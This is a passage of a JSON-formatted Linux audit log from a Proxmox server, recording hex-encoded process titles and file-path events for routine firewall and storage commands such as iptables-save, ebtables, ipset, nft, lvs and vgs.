nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.383:63194): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965444460,"@rawstring":"node=pve type=PATH msg=audit(1781965444.460:65628): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.378:63193): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965444432,"@rawstring":"node=pve type=PATH msg=audit(1781965444.432:65627): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915372,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.372:63192): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965444432,"@rawstring":"node=pve type=PATH msg=audit(1781965444.432:65627): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.367:63191): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965443016,"@rawstring":"node=pve type=PATH msg=audit(1781965443.016:65626): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.362:63190): proctitle=697073657400726573746F7265"} {"@timestamp":1781965443016,"@rawstring":"node=pve type=PATH msg=audit(1781965443.016:65626): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915355,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.355:63189): proctitle=\"ip6tables-save\""} {"@timestamp":1781965443016,"@rawstring":"node=pve type=PATH msg=audit(1781965443.016:65625): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.348:63188): proctitle=\"iptables-save\""} {"@timestamp":1781965443016,"@rawstring":"node=pve type=PATH msg=audit(1781965443.016:65624): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.344:63187): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965443008,"@rawstring":"node=pve type=PATH msg=audit(1781965443.008:65623): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.341:63186): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965443008,"@rawstring":"node=pve type=PATH msg=audit(1781965443.008:65623): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.340:63185): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965443008,"@rawstring":"node=pve type=PATH msg=audit(1781965443.008:65622): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.340:63184): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965443008,"@rawstring":"node=pve type=PATH msg=audit(1781965443.008:65621): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.336:63183): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965437999,"@rawstring":"node=pve type=PATH msg=audit(1781965437.999:65620): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.330:63182): proctitle=\"ip6tables-save\""} {"@timestamp":1781965437999,"@rawstring":"node=pve type=PATH msg=audit(1781965437.999:65620): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915323,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.323:63181): proctitle=\"iptables-save\""} {"@timestamp":1781965437999,"@rawstring":"node=pve type=PATH msg=audit(1781965437.999:65619): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915318,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.318:63180): proctitle=69707365740073617665"} {"@timestamp":1781965437999,"@rawstring":"node=pve type=PATH msg=audit(1781965437.999:65618): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.311:63179): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965437992,"@rawstring":"node=pve type=PATH msg=audit(1781965437.992:65617): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964915.305:63178): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965437992,"@rawstring":"node=pve type=PATH msg=audit(1781965437.992:65617): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964914165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964914.165:63177): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965437992,"@rawstring":"node=pve type=PATH msg=audit(1781965437.992:65616): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964914132,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964914.132:63176): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965437992,"@rawstring":"node=pve type=PATH msg=audit(1781965437.992:65615): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964911.096:63175): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435845,"@rawstring":"node=pve type=PATH msg=audit(1781965435.845:65614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964911.096:63174): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435845,"@rawstring":"node=pve type=PATH msg=audit(1781965435.845:65614): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964911.096:63173): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=PATH msg=audit(1781965435.839:65613): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911088,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964911.088:63172): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=PATH msg=audit(1781965435.839:65613): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911088,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964911.088:63171): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=PATH msg=audit(1781965435.839:65612): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911088,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964911.088:63170): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=PATH msg=audit(1781965435.839:65612): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964906.078:63169): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=PATH msg=audit(1781965435.839:65611): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964906.078:63168): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435833,"@rawstring":"node=pve type=PATH msg=audit(1781965435.833:65610): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964906.078:63167): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435833,"@rawstring":"node=pve type=PATH msg=audit(1781965435.833:65610): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964906.071:63166): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435833,"@rawstring":"node=pve type=PATH msg=audit(1781965435.833:65610): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964906.071:63165): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435827,"@rawstring":"node=pve type=PATH msg=audit(1781965435.827:65609): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964906.071:63164): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435827,"@rawstring":"node=pve type=PATH msg=audit(1781965435.827:65609): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.294:63163): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965435820,"@rawstring":"node=pve type=PATH msg=audit(1781965435.820:65608): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.291:63162): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965435820,"@rawstring":"node=pve type=PATH msg=audit(1781965435.820:65608): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.289:63161): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965435811,"@rawstring":"node=pve type=PATH msg=audit(1781965435.811:65607): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.289:63160): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965435811,"@rawstring":"node=pve type=PATH msg=audit(1781965435.811:65607): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.285:63159): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965435803,"@rawstring":"node=pve type=PATH msg=audit(1781965435.803:65606): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.279:63158): proctitle=\"ip6tables-save\""} {"@timestamp":1781965435803,"@rawstring":"node=pve type=PATH msg=audit(1781965435.803:65606): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905273,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.273:63157): proctitle=\"iptables-save\""} {"@timestamp":1781965435798,"@rawstring":"node=pve type=PATH msg=audit(1781965435.798:65604): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905267,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.267:63156): proctitle=\"ip6tables-save\""} {"@timestamp":1781965435798,"@rawstring":"node=pve type=PATH msg=audit(1781965435.798:65604): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905261,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.261:63155): proctitle=\"iptables-save\""} {"@timestamp":1781965435791,"@rawstring":"node=pve type=PATH msg=audit(1781965435.791:65603): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.257:63154): proctitle=\"ebtables-restore\""} {"@timestamp":1781965435791,"@rawstring":"node=pve type=PATH msg=audit(1781965435.791:65603): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.255:63153): proctitle=\"ebtables-restore\""} {"@timestamp":1781965435783,"@rawstring":"node=pve type=PATH msg=audit(1781965435.783:65602): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.250:63152): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965435783,"@rawstring":"node=pve type=PATH msg=audit(1781965435.783:65602): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.244:63151): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965435777,"@rawstring":"node=pve type=PATH msg=audit(1781965435.777:65601): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905238,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.238:63150): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965435777,"@rawstring":"node=pve type=PATH msg=audit(1781965435.777:65601): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.233:63149): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965435768,"@rawstring":"node=pve type=PATH msg=audit(1781965435.768:65600): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.228:63148): proctitle=697073657400726573746F7265"} {"@timestamp":1781965435768,"@rawstring":"node=pve type=PATH msg=audit(1781965435.768:65600): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.221:63147): proctitle=\"ip6tables-save\""} {"@timestamp":1781965435757,"@rawstring":"node=pve type=PATH msg=audit(1781965435.757:65599): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.214:63146): proctitle=\"iptables-save\""} {"@timestamp":1781965435757,"@rawstring":"node=pve type=PATH msg=audit(1781965435.757:65599): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.210:63145): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965435748,"@rawstring":"node=pve type=PATH msg=audit(1781965435.748:65598): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.207:63144): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965435748,"@rawstring":"node=pve type=PATH msg=audit(1781965435.748:65598): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.206:63143): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965435737,"@rawstring":"node=pve type=PATH msg=audit(1781965435.737:65597): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.206:63142): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965435737,"@rawstring":"node=pve type=PATH msg=audit(1781965435.737:65597): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905201,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.201:63141): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965435733,"@rawstring":"node=pve type=PATH msg=audit(1781965435.733:65596): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.193:63140): proctitle=\"ip6tables-save\""} {"@timestamp":1781965435733,"@rawstring":"node=pve type=PATH msg=audit(1781965435.733:65596): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905185,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.185:63139): proctitle=\"iptables-save\""} {"@timestamp":1781965435729,"@rawstring":"node=pve type=PATH msg=audit(1781965435.729:65595): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.179:63138): proctitle=69707365740073617665"} {"@timestamp":1781965435729,"@rawstring":"node=pve type=PATH msg=audit(1781965435.729:65595): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905172,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.172:63137): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965435728,"@rawstring":"node=pve type=PATH msg=audit(1781965435.728:65594): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964905.165:63136): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965435728,"@rawstring":"node=pve type=PATH msg=audit(1781965435.728:65594): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964904054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964904.054:63135): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965435727,"@rawstring":"node=pve type=PATH msg=audit(1781965435.727:65593): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964904028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964904.028:63134): 